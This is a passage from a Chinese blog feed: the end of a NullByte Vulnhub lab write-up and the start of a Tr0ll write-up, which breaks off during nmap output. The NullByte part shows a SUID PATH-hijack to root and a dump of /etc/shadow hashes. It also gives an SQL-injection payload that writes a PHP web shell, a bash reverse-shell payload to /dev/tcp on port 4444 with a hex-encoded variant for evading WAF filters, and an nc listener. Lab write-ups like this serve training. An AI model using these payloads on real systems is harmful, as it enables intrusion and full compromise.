&lt;p&gt;cd 到可疑目录，查看这个目录下详细的文件权限内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ls -liah
total 20K
401863 drwxrwxrwx 2 root root 4.0K Aug  2  2015 .
389537 drwxr-xr-x 4 root root 4.0K Aug  2  2015 ..
391947 -rwsr-xr-x 1 root root 4.9K Aug  2  2015 procwatch
401064 -rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从标红点看出，这是一个带有 SUID 权限的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328121938439.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以在靶机环境中试着运行该程序，观察其行为。从输出结果来看，该程序似乎调用了系统命令来显示当前的进程状态。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1475 pts/0    00:00:00 procwatch
 1476 pts/0    00:00:00 sh
 1477 pts/0    00:00:00 ps
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;SUID 提权与 PATH 环境变量劫持&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ls -liah
total 20K
401863 drwxrwxrwx 2 root root 4.0K Aug  2  2015 .
389537 drwxr-xr-x 4 root root 4.0K Aug  2  2015 ..
391947 -rwsr-xr-x 1 root root 4.9K Aug  2  2015 procwatch
401064 -rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt
ramses@NullByte:/var/www/backup$ 
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1475 pts/0    00:00:00 procwatch
 1476 pts/0    00:00:00 sh
 1477 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$ 
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ./procwatch 
# whoami
root 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# cat /etc/shadow
root:$6$xsD9GAM/$gpEYps/zVZ/x8INtRjYcSifltjba0JMIUogrZSed5WfRqTGjlFPT/FCC4IwPhZC7mrshv3x.CpsjnFsQupFR9/:16648:0:99999:7:::
daemon:*:16648:0:99999:7:::
bin:*:16648:0:99999:7:::
sys:*:16648:0:99999:7:::
sync:*:16648:0:99999:7:::
games:*:16648:0:99999:7:::
man:*:16648:0:99999:7:::
lp:*:16648:0:99999:7:::
mail:*:16648:0:99999:7:::
news:*:16648:0:99999:7:::
uucp:*:16648:0:99999:7:::
proxy:*:16648:0:99999:7:::
www-data:*:16648:0:99999:7:::
backup:*:16648:0:99999:7:::
list:*:16648:0:99999:7:::
irc:*:16648:0:99999:7:::
gnats:*:16648:0:99999:7:::
nobody:*:16648:0:99999:7:::
systemd-timesync:*:16648:0:99999:7:::
systemd-network:*:16648:0:99999:7:::
systemd-resolve:*:16648:0:99999:7:::
systemd-bus-proxy:*:16648:0:99999:7:::
messagebus:*:16648:0:99999:7:::
avahi:*:16648:0:99999:7:::
Debian-exim:!:16648:0:99999:7:::
statd:*:16648:0:99999:7:::
colord:*:16648:0:99999:7:::
sshd:*:16648:0:99999:7:::
saned:*:16648:0:99999:7:::
hplip:*:16648:0:99999:7:::
bob:$6$.Lz6G6L1$pKrDBW591X.z5.O/yxIA95KjyFPuHf7Rsn4qN1Sl7NlTnUSmOXs8mjMhEUWOppctEI2SZgBb8bgODXaCcdPzn/:16648:0:99999:7:::
eric:$6$0bV4YP05$O8Opq9l/TiA0jjOGi6ntepF.6FrX3F4EjbIk0bB/6/m1iC6QBmlBOVbh6IGBySSqyEDTH4H6qgMmJkZKxI4Xu/:16648:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;深度了解 SUID 提权原理&lt;/h3&gt;
&lt;h4&gt;1. 发现漏洞点：相对路径调用&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ./procwatch&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当你运行 &lt;code&gt;procwatch&lt;/code&gt; 时，它输出了类似系统命令 &lt;code&gt;ps&lt;/code&gt; 的结果。这暗示了 &lt;code&gt;procwatch&lt;/code&gt; 这个程序在内部很可能调用了 &lt;code&gt;ps&lt;/code&gt; 命令来获取系统进程信息。 &lt;strong&gt;问题所在：&lt;/strong&gt; 开发这个程序的程序员在调用 &lt;code&gt;ps&lt;/code&gt; 时，很可能只写了 &lt;code&gt;system(&quot;ps&quot;);&lt;/code&gt;（相对路径），而不是写死绝对路径 &lt;code&gt;system(&quot;/bin/ps&quot;);&lt;/code&gt;。这就给了我们可乘之机。&lt;/p&gt;
&lt;h4&gt;2. 伪造恶意程序：符号链接&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这一步，你在当前目录下创建了一个名为 &lt;code&gt;ps&lt;/code&gt; 的符号链接（类似于 Windows 的快捷方式），它指向了系统的 shell 程序 &lt;code&gt;/bin/sh&lt;/code&gt;。 此时，当前目录下的这个 &lt;code&gt;ps&lt;/code&gt; 文件，本质上就是一个可以唤醒系统命令行的外壳。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328180107045.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3. 核心攻击：劫持 PATH 环境变量&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ export PATH=.:$PATH&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这是整个提权行动最关键的一步。&lt;/strong&gt; Linux 系统在执行一个没有指定绝对路径的命令（比如 &lt;code&gt;ps&lt;/code&gt;）时，会根据 &lt;code&gt;PATH&lt;/code&gt; 环境变量中定义的目录顺序，从左到右依次去寻找这个命令。 你通过 &lt;code&gt;export PATH=.:$PATH&lt;/code&gt;，将当前目录（&lt;code&gt;.&lt;/code&gt;）添加到了 &lt;code&gt;PATH&lt;/code&gt; 环境变量的&lt;strong&gt;最前面&lt;/strong&gt;。 这意味着，当系统想要执行 &lt;code&gt;ps&lt;/code&gt; 时，它会首先在当前目录下寻找，而不是先去系统的 &lt;code&gt;/bin/&lt;/code&gt; 或 &lt;code&gt;/usr/bin/&lt;/code&gt; 目录寻找。&lt;/p&gt;
&lt;p&gt;这里新开了一个 SSH 连接对比修改环境变量的前后差别。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原本的环境变量：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;修改后的环境变量：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. 触发提权：借壳生蛋&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ramses@NullByte:/var/www/backup$ ./procwatch&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当你再次运行具有 SUID 权限的 &lt;code&gt;procwatch&lt;/code&gt; 时，会发生以下连锁反应：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;procwatch&lt;/code&gt; 程序运行时，会临时借用系统最高权限 (通常为 root)。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;程序内部执行 &lt;code&gt;ps&lt;/code&gt; 命令。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;系统检查 &lt;code&gt;PATH&lt;/code&gt;，发现最前面是当前目录（&lt;code&gt;.&lt;/code&gt;），并且当前目录下确实有一个名为 &lt;code&gt;ps&lt;/code&gt; 的文件（我们手动构造软链接）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;系统执行你伪造的 &lt;code&gt;ps&lt;/code&gt; （实际上是 &lt;code&gt;/bin/sh&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;因为 &lt;code&gt;procwatch&lt;/code&gt; 是带着 root 的 SUID 权限运行的，所以它唤醒的 &lt;code&gt;/bin/sh&lt;/code&gt; 也会继承 root 权限。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;至此，你就成功获得了一个具有 root 权限的 shell（通常显示为 &lt;code&gt;#&lt;/code&gt; 提示符，可以通过 &lt;code&gt;whoami&lt;/code&gt; 显示自身用户名称）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ps 命令是干什么的？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Linux ps （英文全拼：process status）命令用于显示当前进程的状态，类似于 windows 的任务管理器。&lt;/p&gt;
&lt;h1&gt;4.其他注入方式&lt;/h1&gt;
&lt;h3&gt;注入文件上传&lt;/h3&gt;
&lt;p&gt;在确认具备写入权限后，我尝试通过 SQL 注入直接向之前探测到的 &lt;code&gt;/uploads/&lt;/code&gt; 目录写入一个简单的 PHP 一句话木马。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select 1,2,&quot;&amp;lt;?php system($_GET[&apos;cmd&apos;]); ?&amp;gt;&quot; into outfile &quot;/var/www/html/uploads/shell.php&quot; -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328215328323.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/uploads/shell.php&lt;/code&gt; 进行测试，确认木马已成功写入并可以正常执行指令。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328215359145.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为了获取数据库的明文凭据，我利用刚才得到的 WebShell 权限，尝试读取 Web 目录下的关键文件 &lt;code&gt;/var/www/html/kzMb5nVYJw/420search.php&lt;/code&gt;。通过审计源码，成功在数据库连接配置处发现硬编码的 root 账号密码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$word = $_GET[&quot;usrtosearch&quot;];

$dbhost = &apos;localhost:3036&apos;;
$dbuser = &apos;root&apos;;
$dbpass = &apos;sunnyvale&apos;;
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die(&apos;Could not connect: &apos; . mysql_error());
}
$sql = &apos;SELECT id, user, position FROM users WHERE user LIKE &quot;%&apos;.$word.&apos;%&quot; &apos;;

mysql_select_db(&apos;seth&apos;);
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
  die(&apos;Could not get data: &apos; . mysql_error());
}
while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
{
    echo &quot;EMP ID :{$row[&apos;id&apos;]}  &amp;lt;br&amp;gt; &quot;.
         &quot;EMP NAME : {$row[&apos;user&apos;]} &amp;lt;br&amp;gt; &quot;.
         &quot;EMP POSITION : {$row[&apos;position&apos;]} &amp;lt;br&amp;gt; &quot;.
         &quot;--------------------------------&amp;lt;br&amp;gt;&quot;;
} 
echo &quot;Fetched data successfully\n&quot;;
mysql_close($conn);

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回顾之前的 Web 信息收集阶段，曾通过目录爆破发现了一个 &lt;code&gt;/phpmyadmin&lt;/code&gt; 登录界面。现在既然已经通过配置文件拿到了数据库账号（root）和密码（sunnyvale），便可以尝试直接登录。&lt;/p&gt;
&lt;p&gt;至此，通过对源码的审计，成功获取了关键凭据。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328220732742.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功读取数据库下的所有内容，可以跳转到提权部分进行后续操作。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260328220811806.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;注入大马（常用方法）&lt;/h3&gt;
&lt;p&gt;我们想靶机上传一个木马，通过 &lt;strong&gt;PHP 反弹 Shell (Reverse Shell)&lt;/strong&gt; 载荷，&lt;strong&gt;让靶机主动发起连接，连接到你控制的机器（攻击机）上&lt;/strong&gt;，并将靶机的命令行终端（Shell）交给你控制。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;参数解释：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/bin/bash -c &apos;...&apos;&lt;/code&gt;：调用 Linux 的 Bash 解释器，&lt;code&gt;-c&lt;/code&gt; 参数表示执行后面单引号内的字符串命令。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;bash -i&lt;/code&gt;：在靶机上启动一个交互式的 Bash Shell（Interactive Shell），这样你才能像平常敲代码一样输入命令并看到提示符。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444&lt;/code&gt;：这是 Linux 中非常巧妙的网络重定向。它将 Bash Shell 的标准输出（你在屏幕上看到的结果）和标准错误，全部通过 TCP 协议发送到 IP 地址 &lt;code&gt;192.168.200.142&lt;/code&gt; 的 &lt;code&gt;4444&lt;/code&gt; 端口。&lt;strong&gt;（注意：这个 IP 应该是你本机的 IP，4444 是你正在监听的端口）&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;：将标准输入（键盘输入）重定向到标准输出（此时已经指向了那个网络连接）。这样一来，你在本地终端敲击的命令，就能顺着网络传给靶机执行。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;改良 payload 转成 hex 上传&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.160/kzMb5nVYJw/420search.php?usrtosearch=&quot; union select 1,2,0x3c3f706870206578656328222f62696e2f62617368202d63202762617368202d69203e26202f6465762f7463702f3139322e3136382e3230302e3134322f3434343420303e26312722293b203f3e into outfile &quot;/var/www/html/uploads/sh1.php&quot; --+-
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;反弹 shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h4&gt;Tips:&lt;/h4&gt;
&lt;h5&gt;1. 什么是十六进制 (HEX)？&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;我们日常用的十进制 (Base-10)：&lt;/strong&gt; 只有 0 到 9 这十个数字。数到 9 之后，就要“逢十进一”，变成 10。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;计算机常用的十六进制 (Base-16)：&lt;/strong&gt; 它有 16 个基础符号。除了 0 到 9 之外，为了表示 10 到 15，它借用了英文字母：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A = 10, B = 11, C = 12, D = 13, E = 14, F = 15。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;数到 F (15) 之后，“逢十六进一”，就变成了 10（在十六进制里读作“一零”，代表十进制的 16）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在计算机世界里，任何字符（字母、数字、符号）在底层都是以数字形式存储的（比如 ASCII 码）。&lt;strong&gt;HEX 就是把这些字符转换成了十六进制的数字串。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;举个例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;大写字母 &lt;code&gt;A&lt;/code&gt; 的十六进制是 &lt;code&gt;41&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;符号 &lt;code&gt;&amp;lt;&lt;/code&gt; 的十六进制是 &lt;code&gt;3C&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单词 &lt;code&gt;php&lt;/code&gt; 的十六进制是 &lt;code&gt;706870&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h5&gt;2. 为什么在 SQL 注入中，专家偏爱用 HEX？&lt;/h5&gt;
&lt;p&gt;回到你刚才打 NullByte 靶机的场景。把你的 PHP 反弹 Shell 代码转换成 HEX 编码，主要有两大“保命”优势：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优势一：完美避开所有的语法冲突和截断&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;正如我们上次分析的，你的原始载荷里充满了单引号 &lt;code&gt;&apos;&lt;/code&gt;、双引号 &lt;code&gt;&quot;&lt;/code&gt;、空格和 &lt;code&gt;&amp;amp;&lt;/code&gt; 等特殊符号。这些符号在经过浏览器、HTTP 协议、Web 服务器，最后到达 MySQL 数据库的过程中，极其容易被误解、转义或者截断。&lt;/p&gt;
&lt;p&gt;但是，如果你把整段代码转换成 HEX，比如把 &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; 变成了 &lt;code&gt;0x3c3f7068...&lt;/code&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;没有引号了：&lt;/strong&gt; 它变成了一串纯粹的数字和字母。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;没有特殊字符了：&lt;/strong&gt; 不用再担心 &lt;code&gt;&amp;amp;&lt;/code&gt; 破坏 HTTP 请求。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MySQL 原生支持：&lt;/strong&gt; 在前面加上 &lt;code&gt;0x&lt;/code&gt; 前缀，就是明确告诉 MySQL：“嘿，这是一段十六进制数据，请你在处理（比如写入文件）之前，自动把它还原成原本的字符串。”&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;优势二：绕过基础的 Web 应用防火墙 (WAF) 和过滤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有些后端的防御代码会使用黑名单拦截恶意词汇，比如一旦发现你提交的数据里包含 &lt;code&gt;exec(&lt;/code&gt; 或者 &lt;code&gt;/bin/bash&lt;/code&gt;，就直接把你封杀。 当你使用 HEX 编码后，肉眼和基础的过滤器看到的只是一串毫无意义的 &lt;code&gt;0x70687065786563...&lt;/code&gt;，从而能够悄无声息地“偷渡”进数据库内部。数据库将其还原后，致命的 PHP 代码就已经安安静静地躺在目标文件里了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h5&gt;3.指出需要注意的问题&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HEX 不是加密，只是编码：&lt;/strong&gt; 任何人拿到这串十六进制代码，都可以轻易地将其反向解码出原文。它的目的不是为了保密，而是为了“在复杂的传输环境中保持数据的完整性”以及“规避基于特征的过滤”。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;前缀 &lt;code&gt;0x&lt;/code&gt; 很关键：&lt;/strong&gt; 在 MySQL 中，如果你只写 &lt;code&gt;3c3f70&lt;/code&gt;，它会报错或者不认识；加上 &lt;code&gt;0x&lt;/code&gt;（即 &lt;code&gt;0x3c3f70...&lt;/code&gt;），MySQL 才会将其识别为 HEX 数据并进行解码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;4. 致命错误：HTTP 协议层面的特殊字符被截断&lt;/h5&gt;
&lt;p&gt;这是最容易被忽略，也是导致这段 Payload 绝对无法成功执行的原因。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;问题点：&lt;/strong&gt; 你的 Bash 载荷中包含了 &lt;code&gt;&amp;gt;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;。在 URL 中，&lt;code&gt;&amp;amp;&lt;/code&gt; 符号具有极其特殊的含义——它是 &lt;strong&gt;HTTP GET 请求参数的分隔符&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发生的情况：&lt;/strong&gt; 当 Web 服务器接收到这个 URL 时，它会在遇到第一个 &lt;code&gt;&amp;amp;&lt;/code&gt; 时截断 &lt;code&gt;usrtosearch&lt;/code&gt; 变量。也就是说，服务器认为你的注入语句到 &lt;code&gt;bash -i &amp;gt;&lt;/code&gt; 就结束了，然后把 &lt;code&gt;/ dev/tcp/...&lt;/code&gt; 当作了一个全新的、无法识别的参数。这不仅破坏了你的 PHP 代码，也破坏了整个 SQL 语句的完整性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解决办法：&lt;/strong&gt; 你必须对 URL 中的特殊字符进行 &lt;strong&gt;URL 编码&lt;/strong&gt;。&lt;code&gt;&amp;amp;&lt;/code&gt; 需要编码为 &lt;code&gt;%26&lt;/code&gt;，空格通常编码为 &lt;code&gt;%20&lt;/code&gt; 或 &lt;code&gt;+&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;5.总结&lt;/h1&gt;
&lt;p&gt;总结一下，在进行主机发现后，我们进行端口扫描，发现 80、111、777 和一个高位端口是开放的，做完 nmap 扫描后，并没有发现更多有价值的内容，所以我们直扑 80 端口进行渗透测试。&lt;/p&gt;
&lt;p&gt;通过浏览器访问 Web 界面，发现页面仅包含一张图片和一段文字。随后通过目录爆破发现了 &lt;code&gt;/uploads&lt;/code&gt;、&lt;code&gt;/phpmyadmin&lt;/code&gt; 和 &lt;code&gt;/javascript&lt;/code&gt; 等目录。在尝试访问并确认无直接进展后，我重新审视主页图片，通过隐写分析发现了一段隐藏信息。经过测试，确认该信息指向一个隐藏的网页路径。&lt;/p&gt;
&lt;p&gt;进入该路径后，页面呈现一个要求输入 Key 的表单。查看网页源码后，发现注释提示该密码并不复杂，且明确未连接数据库。这使我排除了 SQL 注入的思路，在简单的弱口令尝试失败后，我决定使用工具进行爆破。成功获取密码并登录后，页面跳转至一个用户名查询表单。&lt;/p&gt;
&lt;p&gt;经过简单测试，我怀疑该查询表单存在 SQL 注入漏洞。随后我按照常规流程进行了注入测试，包括闭合符号探测和列数猜解，并最终通过 Union 注入成功获取了数据库中的敏感内容。&lt;/p&gt;
&lt;p&gt;在获取的数据中，有一条关于 RAMES 用户的密码记录具有重要价值。该密码以 Base64 编码形式存储，解码后得到一个 MD5 哈希值。经破解获取明文密码后，我成功通过 SSH 登录系统，拿到了初始的立足点（Footprint）。&lt;/p&gt;
&lt;p&gt;在提权阶段，我进行了初步的信息枚举。通过搜索当前用户具有执行权限的文件，锁定了名为 &lt;code&gt;procwatch&lt;/code&gt; 的可执行程序。运行后发现，该程序调用了 &lt;code&gt;ps&lt;/code&gt; 命令。我随即产生通过 &lt;code&gt;PATH&lt;/code&gt; 环境变量劫持该进程的思路：自定义一个恶意 &lt;code&gt;ps&lt;/code&gt; 连接实际指向的是&lt;code&gt;/bin/bash&lt;/code&gt; 并将其路径加入环境变量前列。执行程序后，成功触发劫持并获取了 Root 权限，完成了对该靶机的渗透。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Tr0ll WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/tr0ll/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/tr0ll/</guid><description>Tr0ll 靶机渗透实战，涵盖 FTP 匿名登录、PCAP 流量分析、Web 目录枚举、ELF 二进制逆向分析及 Cron 计划任务提权</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;Tr0ll 1 是一款灵感来源于 OSCP 实验室的初级难度靶机，主要考察渗透测试者的基础信息收集能力、网络流量分析（PCAP）、字典提取、防干扰心态以及基础的 Linux 提权技巧。该靶机整体充满“恶搞”（Troll）元素，需要细心甄别线索的真伪，非常适合新手熟悉渗透测试的完整流程。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;靶机IP&lt;/strong&gt;：192.168.200.163 （&lt;em&gt;注：实际运行环境中，IP 需根据本地虚拟机的 DHCP 网络环境使用扫描工具确定&lt;/em&gt;）
靶机介绍：&lt;a href=&quot;https://www.vulnhub.com/entry/tr0ll-1,100/&quot;&gt;https://www.vulnhub.com/entry/tr0ll-1,100/&lt;/a&gt;
下载（镜像）：&lt;a href=&quot;https://download.vulnhub.com/tr0ll/Tr0ll.rar&quot;&gt;https://download.vulnhub.com/tr0ll/Tr0ll.rar&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;主机发现与端口扫描：&lt;/strong&gt; Nmap, Netdiscover / arp-scan&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web 目录扫描：&lt;/strong&gt; Dirsearch，exiftool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件传输服务：&lt;/strong&gt; FTP Client（用于测试匿名登录并下载线索文件）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流量包分析：&lt;/strong&gt; Wireshark（用于分析获取到的 &lt;code&gt;.pcap&lt;/code&gt; 数据包）, Leetspeak&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件分析：&lt;/strong&gt; Strings（用于分析 ELF 二进制可执行文件以提取隐藏目录）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在线服务爆破：&lt;/strong&gt; Hydra（结合收集到的自定义字典进行 SSH 暴力破解）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;远程连接：&lt;/strong&gt; SSH&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/Tr0ll.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1.Nmap信息扫描&lt;/h2&gt;
&lt;p&gt;通过 Nmap 对目标靶机进行探测，明确开放的端口及具体服务版本，并排查常规漏洞。&lt;/p&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.200.142
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap [NSE: writeable]
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn&apos;t have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:6F:F7:D3 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
| http-enum: 
